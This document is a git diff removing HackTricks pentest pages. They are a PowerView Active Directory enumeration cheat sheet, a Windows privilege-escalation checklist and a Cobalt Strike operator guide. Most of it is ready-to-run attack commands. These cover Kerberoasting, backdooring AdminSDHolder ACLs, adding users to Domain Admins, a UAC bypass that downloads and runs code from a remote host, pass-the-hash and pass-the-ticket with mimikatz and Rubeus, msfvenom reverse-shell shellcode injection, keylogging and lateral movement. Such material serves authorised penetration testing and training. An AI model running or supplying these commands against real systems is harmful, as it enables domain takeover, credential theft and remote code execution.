-Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
-Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
-Get-NetUser -PreauthNotRequired #ASREPRoastable users
-Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
-Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
-Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
-Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
-# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
-Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
-    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
-}
-# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
-## Users with this flag might have empty passwords (if allowed) or shorter passwords
-Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
-
-#Groups
-Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
-## Get-DomainGroup is similar to Get-NetGroup
-Get-NetGroup #Get groups
-Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
-Get-NetGroup 'Domain Admins' #Get all data of a group
-Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
-Get-NetGroup -UserName "myusername" #Get groups of a user
-Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
-Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
-Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
-Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
-Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
-Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
-Get-NetGPOGroup #Get restricted groups
-
-# Computers
-Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
-## Get-DomainComputer is kind of the same as Get-NetComputer
-Get-NetComputer #Get all computer objects
-Get-NetComputer -Ping #Send a ping to check if the computers are working
-Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
-Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
-Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
-
-#OU
-Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
-Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
-## Get-DomainOU is kind of the same as Get-NetOU
-Get-NetOU #Get Organization Units
-Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
-```
-
-### Logon and Sessions
-
-```bash
-Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
-Get-NetSession -ComputerName <servername> #Get active sessions on the host
-Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
-Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
-Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
-```
-
-### Group Policy Object - GPOs
-
-If an attacker has **high privileges over a GPO** he could be able to **privesc** abusing it by **add permissions to a user**, **add a local admin user** to a host or **create a scheduled task** (immediate) to perform an action.\
-For [**more info about it and how to abuse it follow this link**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
-
-```bash
-#GPO
-Get-DomainGPO | select displayName #Check the names for info
-Get-NetGPO #Get all policies with details
-Get-NetGPO | select displayname #Get the names of the policies
-Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
-gpresult /V #Get current policy
-
-# Get who can create new GPOs
-Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
-
-# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
-Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
-
-# Get permissions a user/group has over any GPO
-$sid=Convert-NameToSid "Domain Users"
-Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
-
-# COnvert GPO GUID to name
-Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
-
-# Transform SID to name
-ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
-
-# Get GPO of an OU
-Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
-
-# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
-Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
-
-# Enumerates the machines where a specific domain user/group is a member of a specific local group.
-Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
-```
-
-Learn how to **exploit permissions over GPOs and ACLs** in:
-
-
-{{#ref}}
-../active-directory-methodology/acl-persistence-abuse/
-{{#endref}}
-
-### ACL
-
-```bash
-#Get ACLs of an object (permissions of other objects over the indicated one)
-Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
-
-#Other way to get ACLs of an object
-$sid = Convert-NameToSid <username/group>
-Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
-
-#Get permissions of a file
-Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
-
-#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
-Find-InterestingDomainAcl -ResolveGUIDs
-
-#Check if any of the interesting permissions founds is realated to a username/group
-Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
-
-#Get special rights over All administrators in domain
-Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
-```
-
-### Shared files and folders
-
-```bash
-Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
-Find-DomainShare -CheckShareAccess #Search readable shares
-Find-InterestingDomainShareFile #Find interesting files, can use filters
-```
-
-### Domain Trust
-
-```bash
-Get-NetDomainTrust #Get all domain trusts (parent, children and external)
-Get-DomainTrust #Same
-Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
-Get-DomainTrustMapping #Enumerate also all the trusts
-
-Get-ForestDomain # Get basic forest info
-Get-ForestGlobalCatalog #Get info of current forest (no external)
-Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
-Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
-
-Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
-
-Get-DomainForeingUser #Get users with privileges in other domains inside the forest
-Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
-```
-
-### L**ow**-**hanging fruit**
-
-```bash
-#Check if any user passwords are set
-$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
-
-#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
-Find-LocalAdminAccess
-
-#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
-.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
-
-#Enumerate machines where a particular user/group identity has local admin rights
-Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
-
-# Enumerates the members of specified local group (default administrators)
-# for all the targeted machines on the current (or specified) domain.
-Invoke-EnumerateLocalAdmin
-Find-DomainLocalGroupMember
-
-#Search unconstrained delegation computers and show users
-Find-DomainUserLocation -ComputerUnconstrained -ShowAll
-
-#Admin users that allow delegation, logged into servers that allow unconstrained delegation
-Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
-
-#Get members from Domain Admins (default) and a list of computers
-# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
-# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
-## By default users inside Domain Admins are searched
-Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
-Invoke-UserHunter [-CheckAccess]
-
-#Search "RDPUsers" users
-Invoke-UserHunter -GroupName "RDPUsers"
-
-#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
-Invoke-UserHunter -Stealth
-```
-
-### Deleted objects
-
-```bash
-#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
-#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
-Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
-```
-
-### MISC
-
-#### SID to Name
-
-```bash
-"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
-```
-
-#### Kerberoast
-
-```bash
-Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
-```
-
-#### Use different credentials (argument)
-
-```bash
-# use an alterate creadential for any function
-$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
-$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
-Get-DomainUser -Credential $Cred
-```
-
-#### Impersonate a user
-
-```bash
-# if running in -sta mode, impersonate another credential a la "runas /netonly"
-$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
-$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
-Invoke-UserImpersonation -Credential $Cred
-# ... action
-Invoke-RevertToSelf
-```
-
-#### Set values
-
-```bash
-# set the specified property for the given user identity
-Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
-# Set the owner of 'dfm' in the current domain to 'harmj0y'
-Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
-# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
-Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
-# Add user to 'Domain Admins'
-Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
-```
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md
deleted file mode 100644
index e0bbfbf1deb..00000000000
--- a/src/windows-hardening/checklist-windows-privilege-escalation.md
+++ /dev/null
@@ -1,128 +0,0 @@
-# Checklist - Local Windows Privilege Escalation
-
-{{#include ../banners/hacktricks-training.md}}
-
-### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
-
-### [System Info](windows-local-privilege-escalation/index.html#system-info)
-
-- [ ] Obtain [**System information**](windows-local-privilege-escalation/index.html#system-info)
-- [ ] Search for **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
-- [ ] Use **Google to search** for kernel **exploits**
-- [ ] Use **searchsploit to search** for kernel **exploits**
-- [ ] Interesting info in [**env vars**](windows-local-privilege-escalation/index.html#environment)?
-- [ ] Passwords in [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
-- [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
-- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
-- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
-- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
-- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
-
-### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
-
-- [ ] Check [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)and [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings
-- [ ] Check [**LAPS**](windows-local-privilege-escalation/index.html#laps)
-- [ ] Check if [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)is active
-- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
-- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
-- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
-- [ ] Check if any [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
-- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
-- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
-- [ ] [**Admin Protection / UIAccess silent elevation**](windows-local-privilege-escalation/uiaccess-admin-protection-bypass.md)?
-- [ ] [**Secure Desktop accessibility registry propagation (RegPwn)**](windows-local-privilege-escalation/secure-desktop-accessibility-registry-propagation-regpwn.md)?
-- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
-- [ ] Check [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
-- [ ] Are you [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
-- [ ] Check if you have [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
-- [ ] Check if you have [**SeManageVolumePrivilege**](windows-local-privilege-escalation/semanagevolume-perform-volume-maintenance-tasks.md) to read raw volumes and bypass file ACLs
-- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
-- [ ] Check[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (access?)
-- [ ] Check [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
-- [ ] What is[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
-
-### [Network](windows-local-privilege-escalation/index.html#network)
-
-- [ ] Check **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
-- [ ] Check **hidden local services** restricted to the outside
-
-### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
-
-- [ ] Processes binaries [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
-- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
-- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
-- [ ] Steal credentials with **interesting processes** via `ProcDump.exe` ? (firefox, chrome, etc ...)
-
-### [Services](windows-local-privilege-escalation/index.html#services)
-
-- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
-- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
-- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
-- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
-- [ ] [Service Triggers: enumerate and trigger privileged services](windows-local-privilege-escalation/service-triggers.md)
-
-### [**Applications**](windows-local-privilege-escalation/index.html#applications)
-
-- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
-- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
-- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
-
-### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
-
-- [ ] Can you **write in any folder inside PATH**?
-- [ ] Is there any known service binary that **tries to load any non-existant DLL**?
-- [ ] Can you **write** in any **binaries folder**?
-
-### [Network](windows-local-privilege-escalation/index.html#network)
-
-- [ ] Enumerate the network (shares, interfaces, routes, neighbours, ...)
-- [ ] Take a special look at network services listening on localhost (127.0.0.1)
-
-### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
-
-- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
-- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials that you could use?
-- [ ] Interesting [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
-- [ ] Passwords of saved [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
-- [ ] Interesting info in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
-- [ ] Passwords in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
-- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords?
-- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
-- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
-
-### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
-
-- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
-- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
-- [ ] Passwords in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
-- [ ] Any [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup?
-- [ ] If [**SeManageVolumePrivilege**](windows-local-privilege-escalation/semanagevolume-perform-volume-maintenance-tasks.md) is present, try raw-volume reads for `SAM`, `SYSTEM`, DPAPI material, and `MachineKeys`
-- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
-- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) file?
-- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
-- [ ] Password in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
-- [ ] Interesting info in [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
-- [ ] Do you want to [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) to the user?
-- [ ] Interesting [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
-- [ ] Other [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
-- [ ] Inside [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
-- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in files and registry
-- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) to automatically search for passwords
-
-### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
-
-- [ ] Have you access to any handler of a process run by administrator?
-
-### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
-
-- [ ] Check if you can abuse it
-
-
-
-## References
-
-- [Project Zero - Bypassing Administrator Protection by Abusing UI Access](https://projectzero.google/2026/02/windows-administrator-protection.html)
-- [MDSec - RIP RegPwn](https://www.mdsec.co.uk/2026/03/rip-regpwn/)
-
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md
deleted file mode 100644
index b9ba3ae03b9..00000000000
--- a/src/windows-hardening/cobalt-strike.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# Cobalt Strike
-
-{{#include ../banners/hacktricks-training.md}}
-
-### Listeners
-
-### C2 Listeners
-
-`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more.
-
-### Peer2Peer Listeners
-
-The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons.
-
-`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons
-
-* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect <ip> <port>` from another beacon
-* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`.
-
-### Generate & Host payloads
-
-#### Generate payloads in files
-
-`Attacks -> Packages ->`
-
-* **`HTMLApplication`** for HTA files
-* **`MS Office Macro`** for an office document with a macro
-* **`Windows Executable`** for a .exe, .dll orr service .exe
-* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs)
-
-#### Generate & Host payloads
-
-`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
-
-#### Host Payloads
-
-If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config.
-
-### Beacon Options
-
-<details>
-<summary>Beacon options and commands</summary>
-
-```bash
-# Execute local .NET binary
-execute-assembly </path/to/executable.exe>
-# Note that to load assemblies larger than 1MB, the 'tasks_max_size' property of the malleable profile needs to be modified.
-
-# Screenshots
-printscreen    # Take a single screenshot via PrintScr method
-screenshot     # Take a single screenshot
-screenwatch    # Take periodic screenshots of desktop
-## Go to View -> Screenshots to see them
-
-# keylogger
-keylogger [pid] [x86|x64]
-## View > Keystrokes to see the keys pressed
-
-# portscan
-portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process
-portscan [targets] [ports] [arp|icmp|none] [max connections]
-
-# Powershell
-## Import Powershell module
-powershell-import C:\path\to\PowerView.ps1
-powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
-powershell <just write powershell cmd here> # This uses the highest supported powershell version (not oppsec)
-powerpick <cmdlet> <args> # This creates a sacrificial process specified by spawnto, and injects UnmanagedPowerShell into it for better opsec (not logging)
-powerpick Invoke-PrivescAudit | fl
-psinject <pid> <arch> <commandlet> <arguments> # This injects UnmanagedPowerShell into the specified process to run the PowerShell cmdlet.
-
-
-# User impersonation
-## Token generation with creds
-make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token generated with make_token
-## The use of make_token generates event 4624: An account was successfully logged on.  This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type.  As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
-
-# UAC Bypass
-elevate svc-exe <listener>
-elevate uac-token-duplication <listener>
-runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
-
-## Steal token from pid
-## Like make_token but stealing the token from a process
-steal_token [pid] # Also, this is useful for network actions, not local actions
-## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
-ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
-rev2self # Stop using token from steal_token
-
-## Launch process with nwe credentials
-spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
-## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE).  It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
-
-## Inject into process
-inject [pid] [x64|x86] [listener]
-## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
-
-## Pass the hash
-## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
-pth [pid] [arch] [DOMAIN\user] [NTLM hash]
-pth [DOMAIN\user] [NTLM hash]
-
-## Pass the hash through mimikatz
-mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
-steal_token <pid> #Steal token from process created by mimikatz
-
-## Pass the ticket
-## Request a ticket
-execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
-execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
-## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
-make_token <domain>\<username> DummyPass
-## Write the ticket in the attacker machine from a poweshell session & load it
-[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
-kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
-
-## Pass the ticket from SYSTEM
-## Generate a new process with the ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
-## Steal the token from that process
-steal_token <pid>
-
-## Extract ticket + Pass the ticket
-### List tickets
-execute-assembly C:\path\Rubeus.exe triage
-### Dump insteresting ticket by luid
-execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-### Create new logon session, note luid and processid
-execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
-### Insert ticket in generate logon session
-execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### Finally, steal the token from that new process
-steal_token <pid>
-
-# Lateral Movement
-## If a token was created it will be used
-jump [method] [target] [listener]
-## Methods:
-## psexec                    x86   Use a service to run a Service EXE artifact
-## psexec64                  x64   Use a service to run a Service EXE artifact
-## psexec_psh                x86   Use a service to run a PowerShell one-liner
-## winrm                     x86   Run a PowerShell script via WinRM
-## winrm64                   x64   Run a PowerShell script via WinRM
-## wmi_msbuild               x64   wmi lateral movement with msbuild inline c# task (oppsec)
-
-
-remote-exec [method] [target] [command] # remote-exec doesn't return output
-## Methods:
-## psexec                          Remote execute via Service Control Manager
-## winrm                           Remote execute via WinRM (PowerShell)
-## wmi                             Remote execute via WMI
-
-## To execute a beacon with wmi (it isn't in the jump command) just upload the beacon and execute it
-beacon> upload C:\Payloads\beacon-smb.exe
-beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
-
-
-# Pass session to Metasploit - Through listener
-## On metaploit host
-msf6 > use exploit/multi/handler
-msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
-msf6 exploit(multi/handler) > set LHOST eth0
-msf6 exploit(multi/handler) > set LPORT 8080
-msf6 exploit(multi/handler) > exploit -j
-
-## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
-beacon> spawn metasploit
-## You can only spawn x86 Meterpreter sessions with the foreign listener.
-
-# Pass session to Metasploit - Through shellcode injection
-## On metasploit host
-msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
-## Run msfvenom and prepare the multi/handler listener
-
-## Copy bin file to cobalt strike host
-ps
-shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
-
-# Pass metasploit session to cobalt strike
-## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
-## Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode
-
-
-# Pivoting
-## Open a socks proxy in the teamserver
-beacon> socks 1080
-
-# SSH connection
-beacon> ssh 10.10.17.12:22 username password
-```
-
-</details>
-
-### Custom implants / Linux Beacons
-
-- A custom agent only needs to speak the Cobalt Strike Team Server HTTP/S protocol (default malleable C2 profile) to register/check-in and receive tasks. Implement the same URIs/headers/metadata crypto defined in the profile to reuse the Cobalt Strike UI for tasking and output.
-- An Aggressor Script (e.g., `CustomBeacon.cna`) can wrap payload generation for the non-Windows beacon so operators can select the listener and produce ELF payloads directly from the GUI.
-- Example Linux task handlers exposed to the Team Server: `sleep`, `cd`, `pwd`, `shell` (exec arbitrary commands), `ls`, `upload`, `download`, and `exit`. These map to task IDs expected by the Team Server and must be implemented server-side to return output in the proper format.
-- BOF support on Linux can be added by loading Beacon Object Files in-process with [TrustedSec's ELFLoader](https://github.com/trustedsec/ELFLoader) (supports Outflank-style BOFs too), allowing modular post-exploitation to run inside the implant's context/privileges without spawning new processes.
